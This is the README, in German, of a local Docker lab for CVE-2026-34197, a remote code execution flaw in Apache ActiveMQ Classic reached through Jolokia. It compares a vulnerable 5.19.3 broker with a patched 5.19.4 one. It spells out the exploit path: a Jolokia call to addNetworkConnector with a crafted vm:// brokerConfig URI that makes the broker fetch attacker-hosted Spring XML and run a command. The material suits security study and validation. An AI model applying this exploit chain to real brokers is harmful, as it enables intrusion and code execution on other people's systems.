
# Docker-Lab zur Demonstration von CVE-2026-34197, einer Apache ActiveMQ Classic RCE über Jolokia. Enthält einen sicheren Detektor und einen rein lokalen PoC mit festem Befehl, der verwundbare und gepatchte Versionen vergleicht.
Dieses Repository ist ein lokales Docker-Lab zum Studium von CVE-2026-34197, einer Remote-Code-Execution-Schwachstelle in Apache ActiveMQ Classic, die über die Jolokia-JMX-HTTP-API erreichbar ist.
Das Lab vergleicht zwei ActiveMQ-Classic-Instanzen nebeneinander:
| Dienst | Version | Zweck | URL |
|---|
vuln | 5.19.3 | Verwundbares Ziel | http://127.0.0.1:8081 |
patched | 5.19.4 | Gepatchtes Vergleichsziel | http://127.0.0.1:8082 |
Das Repository enthält zwei Proof-Skripte:
| Skript | Zweck | Sicherheitsmodell |
|---|---|---|
poc/detect.py | Autorisierter Detektor | Nur HTTP; nutzt nichts aus |
poc/poc.py | Lokaler RCE-Pfad-Beweis | Fester Befehl nur: id; whoami; sleep 5 |
Der Ausführungsnachweis wird separat vom Betreiber mithilfe von Prozessbeobachtungswerkzeugen wie strace verifiziert.
CVE-2026-34197 betrifft Apache ActiveMQ Classic-Versionen, in denen ein authentifizierter Benutzer die Jolokia-API verwenden kann, um Broker-Verwaltungsoperationen aufzurufen und den Broker-JVM dazu zu bringen, über eine manipulierte brokerConfig=xbean:http://...-URI vom Angreifer kontrolliertes Spring-XML zu laden.
Der in diesem Lab demonstrierte verwundbare Ablauf ist:
Jolokia /api/jolokia/
-> Broker-MBean-Operation
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> Remote-Spring-XML-Abruf
-> ProcessBuilder-Bean-Initialisierung
-> fester lokaler Beweisbefehl
Der gepatchte Dienst blockiert diesen Pfad, bevor das XML abgerufen wird, und gibt einen Fehler ähnlich wie:
VM scheme is not allowed
.
├── docker-compose.yml
├── vuln
│ └── Dockerfile
├── patched
│ └── Dockerfile
├── poc
│ ├── detect.py
│ └── poc.py
├── images
│ └── strace.png
├── README.md
└── .gitignore
docker-compose.yml startet die verwundbaren und gepatchten ActiveMQ-Dienste.vuln/Dockerfile erstellt Apache ActiveMQ Classic 5.19.3.patched/Dockerfile erstellt Apache ActiveMQ Classic 5.19.4.poc/detect.py prüft die Jolokia-Exposition, die ActiveMQ-Version und die Sichtbarkeit der Broker-MBean.poc/poc.py löst den rein lokalen RCE-Pfad mithilfe eines festen harmlosen Befehls aus.images/strace.png enthält lokale Prozessbeobachtungsnachweise vom verwundbaren Dienst..gitignore schließt lokale Artefakte, Python-Cache-Dateien, virtuelle Umgebungen, Protokolle und Geheimnisse aus.Dieses Repository ist nur für die lokale Lab-Nutzung und autorisierte Sicherheitsvalidierung bestimmt.
Der PoC ist bewusst eingeschränkt:
id; whoami; sleep 5.strace.Zulässige lokale Ziele für poc.py:
127.0.0.1
localhost
::1
Verwenden Sie dieses Repository nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.
docker compose down -v
docker compose build
docker compose up -d
Dienststatus prüfen:
docker compose ps
Erwartete Dienste:
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
Verwundbaren Dienst prüfen:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
Gepatchten Dienst prüfen:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
Erwartete Versionen:
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
poc/detect.py ist das sichere Standard-Skript. Es nutzt das Ziel nicht aus.
Es prüft:
/api/jolokia/version zugänglich ist;python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
Erwartetes Ergebnis:
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
Der Detektor markiert ein Ziel als LIKELY_VULNERABLE, wenn:
Jolokia ist zugänglich
+
ActiveMQ-Version liegt in einem betroffenen Bereich
In diesem Lab verwendete betroffene Bereiche:
5.x < 5.19.4
6.x < 6.2.3
Die Sichtbarkeit der Broker-MBean wird als Vertrauensnachweis verwendet, da der Exploit-Pfad auf Broker-Verwaltungsoperationen beruht.
Der Detektor behauptet kein CONFIRMED_RCE.
poc/poc.py demonstriert den RCE-Pfad im lokalen Docker-Lab.
Es startet einen temporären HTTP-Server auf dem Host und stellt eine Spring-XML-Nutzlast unter einem pro-Lauf eindeutigen Pfad bereit:
/evil-<nonce>.xml
Anschließend ruft es die ActiveMQ-Broker-MBean über Jolokia auf:
addNetworkConnector(java.lang.String)
mit einer manipulierten Discovery-URI:
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)
Der verwundbare Broker ruft dieses XML ab. Der gepatchte Broker blockiert das vm://-Transport-Schema, bevor das XML abgerufen wird.
Nach einem verwundbaren Lauf kann der erstellte NetworkConnector erneut versuchen, den alten XML-Pfad abzurufen. Das Skript verwendet einen pro-Lauf eindeutigen Nonce und verfolgt matches_current_run, um Fehlalarme zu vermeiden.
Ein Treffer wird nur dann als aktueller Lauf gezählt, wenn er übereinstimmt:
/evil-<current-nonce>.xml
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
Erwartete Ausgabe:
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true
Dies bestätigt, dass ActiveMQ 5.19.3 dazu gebracht werden kann, über den Jolokia-verwalteten Broker-Pfad vom Angreifer kontrolliertes Spring-XML abzurufen.
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
Erwartete Ausgabe:
VM scheme is not allowed
[-] No XML fetch observed for this run.
Wenn Treffer von einem älteren verwundbaren Lauf erscheinen, sollten sie Folgendes zeigen:
"matches_current_run": false
Diese werden nicht als Erfolg des gepatchten Dienstes gezählt.
Das PoC-Skript sammelt keine Befehlsausgabe. Um die Befehlsausführung zu bestätigen, beobachten Sie die Prozesserstellung im verwundbaren Container.
Als Root in den verwundbaren Container wechseln:
docker exec -it --user root cve-2026-34197-vuln bash
Java-Prozess finden:
pgrep -af java
strace an die Java-PID anhängen:
strace -f -e execve -p <JAVA_PID>
In einem anderen Terminal den PoC gegen den verwundbaren Dienst ausführen:
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
Erwarteter strace-Nachweis:
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)
Dies ist der OS-Ebene-Nachweis, dass der feste Beweisbefehl vom Broker-JVM ausgeführt wurde.

Der PoC versucht, den Standard-NetworkConnector-Namen NC vor dem Auslösen zu entfernen. Dies hält wiederholte Lab-Läufe vorhersehbar.
Manuelle Bereinigung:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
-H 'Content-Type: application/json' \
-X POST \
http://127.0.0.1:8081/api/jolokia/ \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}' | python3 -m json.tool
Oder das Lab neu starten:
docker compose restart vuln patched
| Test | Verwundbar 5.19.3 | Gepatcht 5.19.4 |
|---|---|---|
detect.py | LIKELY_VULNERABLE | NOT_AFFECTED_BY_VERSION |
| Jolokia-Zugriff | Zugänglich mit Auth | Zugänglich mit Auth |
| Broker-MBean | Sichtbar | Sichtbar |
poc.py-XML-Abruf | Ja | Nein |
| Gepatchte Blocksignatur | N/A | VM scheme is not allowed |
| strace-Befehlsnachweis | /bin/sh -c 'id; whoami; sleep 5' | Nicht erwartet |